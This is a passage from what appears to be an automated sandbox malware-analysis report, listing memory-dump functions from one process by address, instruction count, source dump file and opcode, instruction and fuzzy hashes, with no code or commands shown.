                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 342b6360f4d00c7127b0b0c853737c0912a3fe26a222ea257ca3777e19b7d33a
                                                                            • Instruction ID: d787a8a9192b9d269c3d212921b3534b11ca910ccde02dbcacb0607a24eb9188
                                                                            • Opcode Fuzzy Hash: 342b6360f4d00c7127b0b0c853737c0912a3fe26a222ea257ca3777e19b7d33a
                                                                            • Instruction Fuzzy Hash: CE2180B4D0520CEFC741DFA8D940A9DBFF4EB49310F1085AAD80897291EA365A46EB95
                                                                            Function 00A1DD28 Relevance: .1, Instructions: 74COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7d88c4d10b28bedbaad26f6470e6b2fa8b74365a55545c0ab082753afb2a1d1d
                                                                            • Instruction ID: 642278c61fc62ae09debc247cf938d99ac51d13d473b9a02e89f20568e3acfc9
                                                                            • Opcode Fuzzy Hash: 7d88c4d10b28bedbaad26f6470e6b2fa8b74365a55545c0ab082753afb2a1d1d
                                                                            • Instruction Fuzzy Hash: AF312BB0D06208DFDB50DFA8E4487EDBBF6FB49304F608199D405A7698D7789AC5CB81
                                                                            Function 007CD05C Relevance: .1, Instructions: 74COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1900136561.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_7cd000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ac3964ef9f3593c88f8965e873a83e9a08db9f4f4595df6b9f9a975fe229be2d
                                                                            • Instruction ID: 40ca0377c829e7977211b515bcbfae9aa9bdadc19b43dea409289e3484a63e02
                                                                            • Opcode Fuzzy Hash: ac3964ef9f3593c88f8965e873a83e9a08db9f4f4595df6b9f9a975fe229be2d
                                                                            • Instruction Fuzzy Hash: 46210371104244DFCB21DF18D9C0F26BBA5FB88314F24C57DE9094A246C33ADC4AC7A2
                                                                            Function 04505D20 Relevance: .1, Instructions: 73COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b5ab959b00d933e3d4daffe18ab4f6efd207953cadb8fc08b2ebde39fcca1dd3
                                                                            • Instruction ID: fd8a51389be64810392159f8a083217909bd7f98f3cf9b6c161f90746495ea86
                                                                            • Opcode Fuzzy Hash: b5ab959b00d933e3d4daffe18ab4f6efd207953cadb8fc08b2ebde39fcca1dd3
                                                                            • Instruction Fuzzy Hash: A2216D75E0420DEFDB00DFA8D4486EEBBF2FB89300F508466D005A7294EB786A46DF91
                                                                            Function 04505D30 Relevance: .1, Instructions: 69COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f212aba1d0613cb8c308a7125a83e25e34abe12c705661ea19278c8c07e3eab7
                                                                            • Instruction ID: 0725651d51595d484e7e63793f979bddcdd06522736420c7c4cf1c3104625198
                                                                            • Opcode Fuzzy Hash: f212aba1d0613cb8c308a7125a83e25e34abe12c705661ea19278c8c07e3eab7
                                                                            • Instruction Fuzzy Hash: 2C212A75E0420DEFCB04DFA9D4487AEB7F6FB89300F508466D005A7294EB786A459F91
                                                                            Function 04506BE9 Relevance: .1, Instructions: 68COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5127086cad5066b553319ed44c42c5752acb91e67dc044e39add2c7c1fd735a4
                                                                            • Instruction ID: fd20040806f69f10b6749a02e1c7580848619293414d705831b8c3ae54f941fe
                                                                            • Opcode Fuzzy Hash: 5127086cad5066b553319ed44c42c5752acb91e67dc044e39add2c7c1fd735a4
                                                                            • Instruction Fuzzy Hash: F6312578A04218CFDF40DFA4D844BAEBBF2FB09304F50805AE509AB385E738AA55DF51
                                                                            Function 00A11348 Relevance: .1, Instructions: 64COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7bba5e49034c6f75c548c495cd2cf013f79f1d4f53e1e41aaefff34a19a68ee8
                                                                            • Instruction ID: 524b43b18c54746277c07398c92d488f13867928b7b11a5e8343f9be8d9d5634
                                                                            • Opcode Fuzzy Hash: 7bba5e49034c6f75c548c495cd2cf013f79f1d4f53e1e41aaefff34a19a68ee8
                                                                            • Instruction Fuzzy Hash: EF21D474E042099FCB00EFB5D898DAEBBB2EFC5301B11C469D506AB369DB34A945CF51
                                                                            Function 00A10E81 Relevance: .1, Instructions: 60COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d362b6c3696eaecc547a100d7bb4d753fed4b7c9d2aa667c3c89e2c2426b90f5
                                                                            • Instruction ID: 82ff4d91e662ddf7743d61a15e772f5f7194effae5d2e02edeb9073c23fd402d
                                                                            • Opcode Fuzzy Hash: d362b6c3696eaecc547a100d7bb4d753fed4b7c9d2aa667c3c89e2c2426b90f5
                                                                            • Instruction Fuzzy Hash: C3210234A00618CFCB24DBA9D184AECB7F2EB48314F15C0A9E819AB651D7B4ECC2CF50
                                                                            Function 00A11358 Relevance: .1, Instructions: 58COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 90cc579662cb574a17293d0e839c675aa6b97b679fa18dbf6c3f850a3c93ad7f
                                                                            • Instruction ID: c5860b125b8df8af8c11f6ad998c2881d5bc49f1e8ab48929ec601419f8343cd
                                                                            • Opcode Fuzzy Hash: 90cc579662cb574a17293d0e839c675aa6b97b679fa18dbf6c3f850a3c93ad7f
                                                                            • Instruction Fuzzy Hash: 3B21A274E00109AFCB00EFA9D944DAEB7B2FFC4305B51C468D506AB369DB34A945CF91
                                                                            Function 007CD057 Relevance: .1, Instructions: 55COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1900136561.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_7cd000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
                                                                            • Instruction ID: 32225485735fed1b73977b19c666d520ee2a24224207c882453e37e6171f9a2f
                                                                            • Opcode Fuzzy Hash: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
                                                                            • Instruction Fuzzy Hash: 5F11D076504284CFDB12DF14D9C4B16BFB2FB84314F28C6ADD8094B656C33AD85ACBA2
                                                                            Function 00A11438 Relevance: .1, Instructions: 52COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: cf3b63de619b37c4bb2ace99ba21f43eb4f0426feb5710c3f5589bbd3c235fcf
                                                                            • Instruction ID: 4ae4d77f7d27e801fdb881e1ac285b75c02137b0737135d8e9b5344a82bae87f
                                                                            • Opcode Fuzzy Hash: cf3b63de619b37c4bb2ace99ba21f43eb4f0426feb5710c3f5589bbd3c235fcf
                                                                            • Instruction Fuzzy Hash: 830128A03086814FC7199734D5215B77FB29FC6B04715C8BED246CB1A7ED24EC85C78A
                                                                            Function 00A11D71 Relevance: .1, Instructions: 51COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6402ccb6f64c08e850650e3d9ab5f1c6710eb3780cc86e27d166a342db417435
                                                                            • Instruction ID: d5acf1f10c4114b600cf59c352af43d4930e0a52e2345475a2685c730fea01a0
                                                                            • Opcode Fuzzy Hash: 6402ccb6f64c08e850650e3d9ab5f1c6710eb3780cc86e27d166a342db417435
                                                                            • Instruction Fuzzy Hash: BF113934B10118CFEB08CFA8F959BED77B1EF48315F244069E602AB3A4CB759D858B45
                                                                            Function 00A12158 Relevance: .0, Instructions: 50COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ba3cc513aa1d5a2a702d621541d9e83f3776f8828fd06c0cce9c441fe6981fac
                                                                            • Instruction ID: 55d9b4c331e5d509a601159c45a06f5cc1c899708e8b667df6bdc4e500c5af2e
                                                                            • Opcode Fuzzy Hash: ba3cc513aa1d5a2a702d621541d9e83f3776f8828fd06c0cce9c441fe6981fac
                                                                            • Instruction Fuzzy Hash: F401F230704108BFD714D7A99C44BAAB7A7FF88351F24452AFA0ED7395DA34DC918395
                                                                            Function 00A12149 Relevance: .0, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c35d1036a9e7dfa400d74f0b74e6357025be8666714698ea8fcc6298354e640a
                                                                            • Instruction ID: e033868b96c6f866a8d63b9604476e3c01a14123e9cca3195404d0b0d2cf2c33
                                                                            • Opcode Fuzzy Hash: c35d1036a9e7dfa400d74f0b74e6357025be8666714698ea8fcc6298354e640a
                                                                            • Instruction Fuzzy Hash: 1601DF30704108BBD714E7A98C48BAA76A6EF89341F244529FB0AD7395DA78DC918396
                                                                            Function 00A114F8 Relevance: .0, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 493eb80f3ce21ae86092e4473b68886ba4197cf8937fd2bb09e4ba8a77ddd365
                                                                            • Instruction ID: 3359f5aa9fcc98c68bf557058a088cf1bb7ad3eb15bee06c818f06586326daee
                                                                            • Opcode Fuzzy Hash: 493eb80f3ce21ae86092e4473b68886ba4197cf8937fd2bb09e4ba8a77ddd365
                                                                            • Instruction Fuzzy Hash: EC118E30B441018FDB04EB29D569BAA3BE3AFD5314F144469D502DF3A6EB39CC85CB41
                                                                            Function 06F0A6B8 Relevance: .0, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 52bac1fcb4b13da6c1b0851a3dd6c6e0db9d1bed1b803b6b37869a5382fffb39
                                                                            • Instruction ID: 7e35f1e3704d2d449bba24849a75545e9776cd594b2cad0832b53655c61e6f7b
                                                                            • Opcode Fuzzy Hash: 52bac1fcb4b13da6c1b0851a3dd6c6e0db9d1bed1b803b6b37869a5382fffb39
                                                                            • Instruction Fuzzy Hash: 981193B4E01209DFCB84DFA8D548AAEBBF1FB48300F1085AAD819E7351D7349A41CF91
                                                                            Function 04505AA3 Relevance: .0, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: cbdfb76ffc4e67a07bec31736d7c2f6b918b935356d0005ba11e9856d44c2769
                                                                            • Instruction ID: f54c203f13f6115113fe452415ccba6b17312ace3f634bf1e64ac2ae88d5d13b
                                                                            • Opcode Fuzzy Hash: cbdfb76ffc4e67a07bec31736d7c2f6b918b935356d0005ba11e9856d44c2769
                                                                            • Instruction Fuzzy Hash: 7211D278A0520CDFDB14EF54D0883ADBBF2FF49301F209469D40AA6295F738A946DF00
                                                                            Function 04505EBA Relevance: .0, Instructions: 48COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f23aca088d2210cb248df382ac89c6984dddcad123750619746a1725469c97fd
                                                                            • Instruction ID: a9a62ea0cb6fe0d3b3a003a97b5760b25ec7d7ec2ff26b8860a526e31924502b
                                                                            • Opcode Fuzzy Hash: f23aca088d2210cb248df382ac89c6984dddcad123750619746a1725469c97fd
                                                                            • Instruction Fuzzy Hash: 4401B1B8D0510CEFC741DFA4E8409EDBFB5EB48300F10C5AAE80593291EA365A06EB95
                                                                            Function 06F0F670 Relevance: .0, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 07260cd5412f58c9562bc26eaefbf30c0dcc572bb638f3855338fa6bdbff38ab
                                                                            • Instruction ID: e5f6fcacc51fc3157f950104afc586d7d35e6d99ed68748a3fa6b2b6bd0a70f5
                                                                            • Opcode Fuzzy Hash: 07260cd5412f58c9562bc26eaefbf30c0dcc572bb638f3855338fa6bdbff38ab
                                                                            • Instruction Fuzzy Hash: E111F3B0E0020DDFCB48DFA9C9457AEBBF5FF88300F10846AA418B7354EB349A418B91
                                                                            Function 007BD01D Relevance: .0, Instructions: 45COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1900008499.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_7bd000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: dfae5e4f62f7a3387ebf255dd0864fb33d203d772d7c4574f70b4ae59061f666
                                                                            • Instruction ID: 816b7ee4f5bcdae79a39dc20077489019100f97c757531c7c19ddf9b489a5c03
                                                                            • Opcode Fuzzy Hash: dfae5e4f62f7a3387ebf255dd0864fb33d203d772d7c4574f70b4ae59061f666
                                                                            • Instruction Fuzzy Hash: DB012B311083009AE7306A25CD847A7BFD8EF41324F18C429EC484B186D27DDC41C6B1
                                                                            Function 00A11CF3 Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 759a660826ff51b43cb7cde93d6f72158173b98c5362d233b1f15af74a002309
                                                                            • Instruction ID: 251a3b7e082d2c24d708620c480ed38af15d9b3848bf7f607a7fc9351da963b0
                                                                            • Opcode Fuzzy Hash: 759a660826ff51b43cb7cde93d6f72158173b98c5362d233b1f15af74a002309
                                                                            • Instruction Fuzzy Hash: 9B011234B40205DFCB148BA4D958BADBBB1BF88309F20046AEA02DB3A5DBB49C41CB51
                                                                            Function 04508900 Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: e8b00bfb7975219711d82368b5bb251fefb7ecfd9031ef78fa8d2225386e0e4d
                                                                            • Instruction ID: 3eed65cbc811dc02fc8963bcd46a42d6a00ea7e3d250ac0e8997bea010e384a0
                                                                            • Opcode Fuzzy Hash: e8b00bfb7975219711d82368b5bb251fefb7ecfd9031ef78fa8d2225386e0e4d
                                                                            • Instruction Fuzzy Hash: 7801A271D0460ADBCF01EF94DC008EEBB75FF49324F00C51AE95827251D731A596DBA1
                                                                            Function 045082BC Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 14529924ec1e78030f7330ddb6b1a4e98dce0992277284574fd69e7cd5b8cc39
                                                                            • Instruction ID: 6dae0f8e6d8896eaee4d6f8f3684d042637ebecbe5b50696d27fbd929114a38f
                                                                            • Opcode Fuzzy Hash: 14529924ec1e78030f7330ddb6b1a4e98dce0992277284574fd69e7cd5b8cc39
                                                                            • Instruction Fuzzy Hash: B311AF74A00168DFDB60DF64C848BE9BBB1AB49304F10C0DAD90DA7255DA36AE86DF50
                                                                            Function 06EF1F4F Relevance: .0, Instructions: 39COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 203b6d83a411704dd3cf752ddf00bce3ab4e34f88e990a9b4231b231c4fea9fe
                                                                            • Instruction ID: d1616cba796d1c99502e958e120ad080baee7ded0d4ac0ef1ab335d12ef06379
                                                                            • Opcode Fuzzy Hash: 203b6d83a411704dd3cf752ddf00bce3ab4e34f88e990a9b4231b231c4fea9fe
                                                                            • Instruction Fuzzy Hash: 9A115BB1911219CFDBA0DF28C858BAA77B2FF89304F0001D5D609A7245D7365A86CF41
                                                                            Function 00A10B0F Relevance: .0, Instructions: 38COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 17f52b0cad33b5c9e4b6d94a71ca91c29cd99622607562a71f108955486da360
                                                                            • Instruction ID: 7a35ed451bea40ba0c838b3da63bc7112f06f4e83e6ef07ef08783750b83053e
                                                                            • Opcode Fuzzy Hash: 17f52b0cad33b5c9e4b6d94a71ca91c29cd99622607562a71f108955486da360
                                                                            • Instruction Fuzzy Hash: 74F0FC319482455FDB15DB60C465DEFBFB69B88704F05842AD442BB381DE705947C7C2
                                                                            Function 04509903 Relevance: .0, Instructions: 38COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5c4ad45213902193419e11a69bcc9ae4564a6a0a033b08297b6be8860b71c04d
                                                                            • Instruction ID: 1c25c59f26bc87b007f62c107ec8a5c25b4e4ceea6b52fcb53f42610c4b72f88
                                                                            • Opcode Fuzzy Hash: 5c4ad45213902193419e11a69bcc9ae4564a6a0a033b08297b6be8860b71c04d
                                                                            • Instruction Fuzzy Hash: C3110C74D00228CFDF64DF65D884BACBBB2FF48304F1081AAE549AB256DB302981DF40
                                                                            Function 007BD01C Relevance: .0, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1900008499.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_7bd000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: bfa83af4f33ad55b4b043c568849d8f3133510a8fa967d88be9428ed25e26b40
                                                                            • Instruction ID: b533290630e6a2a9b47218c07ad8e3cfd2e4e4b4e7b0559da58c7b8d8c51036f
                                                                            • Opcode Fuzzy Hash: bfa83af4f33ad55b4b043c568849d8f3133510a8fa967d88be9428ed25e26b40
                                                                            • Instruction Fuzzy Hash: 27F06271404344AEE7209A16CC88BA3FFA8EB51734F18C55AED484E286D27A9C45CAB1
                                                                            Function 04509460 Relevance: .0, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 3b5e5b6c1ab913480435d4535747633217d675f2ad7b64cae5f1bfb1d5abdf82
                                                                            • Instruction ID: c39404a025d0602e34f966b9f4e91d8df203b951784657b57c8ad94008fc01ec
                                                                            • Opcode Fuzzy Hash: 3b5e5b6c1ab913480435d4535747633217d675f2ad7b64cae5f1bfb1d5abdf82
                                                                            • Instruction Fuzzy Hash: FCF0C274909248AFCB02CF94D8409DDBF70FB46304F04C089E89427292CB325652EB91
                                                                            Function 06EF4DCC Relevance: .0, Instructions: 35COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: e25d793af4b19472b82dc67974f818f7ee66a9a98251fd3e5c4c4c966d57401d
                                                                            • Instruction ID: 066b5380906da2539bfe959618af0864094c0ba6c0efb17d9c2b97e123444a10
                                                                            • Opcode Fuzzy Hash: e25d793af4b19472b82dc67974f818f7ee66a9a98251fd3e5c4c4c966d57401d
                                                                            • Instruction Fuzzy Hash: 3211B7B4A20269CFCB64DF14C9886D9B7B1EB89300F1044D7A90AB7749DB349E85CF41
                                                                            Function 04507310 Relevance: .0, Instructions: 35COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ad4006f82471f854b369a4e351d42921fb32f1c97d118a08572f3a5efe833feb
                                                                            • Instruction ID: 42eeeb5319019b12da1012582dd5df05f28cbe52bd801f3d5613ec4bb95c5158
                                                                            • Opcode Fuzzy Hash: ad4006f82471f854b369a4e351d42921fb32f1c97d118a08572f3a5efe833feb
                                                                            • Instruction Fuzzy Hash: 2DF0BE38A0810CABDB01DF94E8808E87FB5FB19310F00C16AEC0452261DB326A62EB91
                                                                            Function 06EF1F98 Relevance: .0, Instructions: 34COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4c8fe515711b4ad05cb1338dd85a39825227e261ff8a6141a0fb63b67c151058
                                                                            • Instruction ID: 0e24238f8b9b7a0d8b05cbdbda7a76e1b6644a2472e987795bf6facd205b0fcf
                                                                            • Opcode Fuzzy Hash: 4c8fe515711b4ad05cb1338dd85a39825227e261ff8a6141a0fb63b67c151058
                                                                            • Instruction Fuzzy Hash: FC111370A10229CFDBA4DF28C858BAAB7B2FB89304F0001E5DA09A7745C7369ED4CF01
                                                                            Function 04508910 Relevance: .0, Instructions: 32COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
